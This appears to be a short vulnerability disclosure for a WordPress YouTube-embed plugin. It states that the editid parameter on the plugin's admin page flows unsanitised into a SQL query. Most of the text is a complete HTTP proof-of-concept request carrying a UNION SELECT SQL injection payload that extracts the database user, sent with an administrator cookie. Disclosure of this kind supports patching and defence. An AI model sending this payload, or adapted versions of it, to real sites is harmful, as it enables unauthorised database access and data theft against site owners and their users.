The editid GET parameter of the plugin is not sanitised, escaped or validated before inserting to a SQL statement, leading to SQL injection.
GET /wp-admin/admin.php?page=embed-youtube-video-add&editid=-6425+UNION+ALL+SELECT+NULL%2Cuser%28%29%2CNULL%2CNULL%2CNULL-- HTTP/1.1
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-GPC: 1
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: [admin+]
Connection: close